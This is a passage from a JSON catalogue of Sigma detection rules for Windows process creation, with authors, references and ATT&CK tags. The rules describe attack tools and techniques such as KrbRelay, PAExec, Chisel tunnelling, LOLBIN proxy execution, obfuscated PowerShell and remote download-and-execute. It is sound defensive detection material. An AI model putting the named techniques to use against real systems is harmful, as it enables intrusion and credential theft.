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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "70d81154-b187-45f9-8ec5-295d01255979",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1",
      "value": "HackTool - SharpUp PrivEsc Tool Execution"
    },
    {
      "description": "Detects a suspicious svchost process start",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_svchost_susp_parent_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_susp_parent_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.005"
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      },
      "related": [
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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      ],
      "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d",
      "value": "Suspicious Svchost Process"
    },
    {
      "description": "Detects usage of the copy builtin cmd command to copy files with the \".dmp\"/\".dump\" extension from a remote share",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_copy_dmp_from_share.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_copy_dmp_from_share.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "044ba588-dff4-4918-9808-3f95e8160606",
      "value": "Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE"
    },
    {
      "description": "The psr.exe captures desktop screenshots and saves them on the local machine",
      "meta": {
        "author": "Beyu Denis, oscd.community",
        "creation_date": "2019/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_psr_capture_screenshots.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20200229201156/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493861893.pdf",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://lolbas-project.github.io/lolbas/Binaries/Psr/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1113"
        ]
      },
      "related": [
        {
          "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382",
      "value": "Psr.exe Capture Screenshots"
    },
    {
      "description": "Detects execution of renamed version of PAExec. Often used by attackers",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jason Lynch",
        "creation_date": "2021/05/22",
        "falsepositive": [
          "Weird admins that rename their tools",
          "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing",
          "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\""
        ],
        "filename": "proc_creation_win_renamed_paexec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf",
          "https://www.poweradmin.com/paexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
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      },
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        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
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          ],
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      ],
      "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9",
      "value": "Renamed PAExec Execution"
    },
    {
      "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.",
      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/02",
        "falsepositive": [
          "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)."
        ],
        "filename": "proc_creation_win_lolbin_remote.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/",
          "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
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      },
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          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
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      ],
      "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93",
      "value": "Use of Remote.exe"
    },
    {
      "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/16",
        "falsepositive": [
          "Legitimate use by an administrator"
        ],
        "filename": "proc_creation_win_lolbin_openconsole.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1537563834478645252",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1",
      "value": "Use of OpenConsole"
    },
    {
      "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_ilasm.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/",
          "https://www.echotrail.io/insights/search/ilasm.exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4",
      "value": "Ilasm Lolbin Use Compile C-Sharp"
    },
    {
      "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msiexec_embedding.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml"
        ],
        "tags": [
          "attack.t1218.007",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469",
      "value": "Suspicious MsiExec Embedding Parent"
    },
    {
      "description": "Detects the use of KrbRelay, a Kerberos relaying tool",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_krbrelay.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/cube0x0/KrbRelay",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4",
      "value": "HackTool - KrbRelay Execution"
    },
    {
      "description": "Detects Obfuscated Powershell via Stdin in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_via_stdin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_stdin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490",
      "value": "Invoke-Obfuscation Via Stdin"
    },
    {
      "description": "Detects the execution of the \"net use\" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_net_use_and_exec_combo.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior",
          "https://twitter.com/ShadowChasing1/status/1552595370961944576",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993",
      "value": "Suspicious File Execution From Internet Hosted WebDav Share"
    },
    {
      "description": "Detects a suspicious child process of userinit",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Samir Bousseaden (idea)",
        "creation_date": "2019/06/17",
        "falsepositive": [
          "Administrative scripts"
        ],
        "filename": "proc_creation_win_susp_userinit_child.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1139811587760562176",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d",
      "value": "Suspicious Userinit Child Process"
    },
    {
      "description": "Detects the usage of \"hh.exe\" to execute \".chm\" files.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "False positives are expected with legitimate \".CHM\""
        ],
        "filename": "proc_creation_win_hh_chm_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md",
          "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37",
          "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84",
      "value": "HH.EXE Execution"
    },
    {
      "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.\nHxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\".\nIts path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\".\nAny instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe\n",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/04/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hxtsr_masquerading.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hxtsr_masquerading.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4e762605-34a8-406d-b72e-c1a089313320",
      "value": "Fake Instance Of Hxtsr.exe"
    },
    {
      "description": "Detects port forwarding activity via SSH.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/12",
        "falsepositive": [
          "Administrative activity using a remote port forwarding to a local port"
        ],
        "filename": "proc_creation_win_ssh_port_forward.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.lateral_movement",
          "attack.t1572",
          "attack.t1021.001",
          "attack.t1021.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183",
      "value": "Port Forwarding Activity Via SSH.EXE"
    },
    {
      "description": "Detects usage of Gpg4win to encrypt files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_gpg4win_encryption.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html",
          "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/",
          "https://www.gpg4win.de/documentation.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_encryption.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "550bbb84-ce5d-4e61-84ad-e590f0024dcd",
      "value": "File Encryption Using Gpg4win"
    },
    {
      "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example",
      "meta": {
        "author": "Ilya Krestinichev",
        "creation_date": "2022/11/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_ping_del_combined_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware",
          "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf",
          "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack",
          "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002",
      "value": "Suspicious Ping/Del Command Combination"
    },
    {
      "description": "Detects execution of chromium based browser in headless mode using the \"dump-dom\" command line to download files",
      "meta": {
        "author": "Sreeman, Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_chromium_headless_file_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html",
          "https://twitter.com/mrd0x/status/1478234484881436672?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e",
      "value": "File Download with Headless Browser"
    },
    {
      "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_typed_paths_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/dez_/status/1560101453150257154",
          "https://forensafe.com/blogs/typedpaths.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_typed_paths_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba",
      "value": "Persistence Via TypedPaths - CommandLine"
    },
    {
      "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_webclient_casing.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_webclient_casing.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba",
      "value": "Net WebClient Casing Anomalies"
    },
    {
      "description": "Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension",
      "meta": {
        "author": "Aedan Russell, frack113, X__Junior (Nextron Systems)",
        "creation_date": "2022/06/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_chromium_susp_load_extension.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/lnk-between-browsers",
          "https://redcanary.com/blog/chromeloader/",
          "https://emkc.org/s/RJjuLa",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1176"
        ]
      },
      "related": [
        {
          "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e",
      "value": "Suspicious Chromium Browser Instance Executed With Custom Extension"
    },
    {
      "description": "Detects suspicious process run from unusual locations",
      "meta": {
        "author": "juju4, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_rundll32_run_locations.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://car.mitre.org/wiki/CAR-2013-05-002",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_run_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "car.2013-05-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b",
      "value": "Suspicious Process Start Locations"
    },
    {
      "description": "Detects usage of the Chisel tunneling tool via the commandline arguments",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/13",
        "falsepositive": [
          "Some false positives may occur with other tools with similar commandlines"
        ],
        "filename": "proc_creation_win_pua_chisel.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/",
          "https://github.com/jpillora/chisel/",
          "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_chisel.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5",
      "value": "PUA - Chisel Tunneling Tool Execution"
    },
    {
      "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named \"ShellChromeAPI.dll\".\nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n",
      "meta": {
        "author": "@gott_cyber",
        "creation_date": "2022/08/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_deviceenroller_dll_sideloading.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html",
          "https://mobile.twitter.com/0gtweet/status/1564131230941122561",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_dll_sideloading.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8",
      "value": "Potential DLL Sideloading Via DeviceEnroller.EXE"
    },
    {
      "description": "Detects execution of the IEExec utility to download and execute files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/05/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ieexec_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ieexec_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad",
      "value": "File Download And Execution Via IEExec.EXE"
    },
    {
      "description": "Detects potential abuse of the \"manage-bde.wsf\" script as a LOLBIN to proxy execution",
      "meta": {
        "author": "oscd.community, Natalia Shornikova, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_lolbin_manage_bde.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md",
          "https://twitter.com/JohnLaTwC/status/1223292479270600706",
          "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/",
          "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712",
          "https://twitter.com/bohops/status/980659399495741441",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda",
      "value": "Potential Manage-bde.wsf Abuse To Proxy Execution"
    },
    {
      "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_imagingdevices_unusual_parents.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imagingdevices_unusual_parents.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99",
      "value": "ImagingDevices Unusual Parent/Child Processes"
    },
    {
      "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2021/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_non_exe_image.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlaboratories.com/2021/12/08/process-ghosting/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a",
      "value": "Execution of Suspicious File Type Extension"
    },
    {
      "description": "Detects execution of Net.exe, whether suspicious or benign.",
      "meta": {
        "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine."
        ],
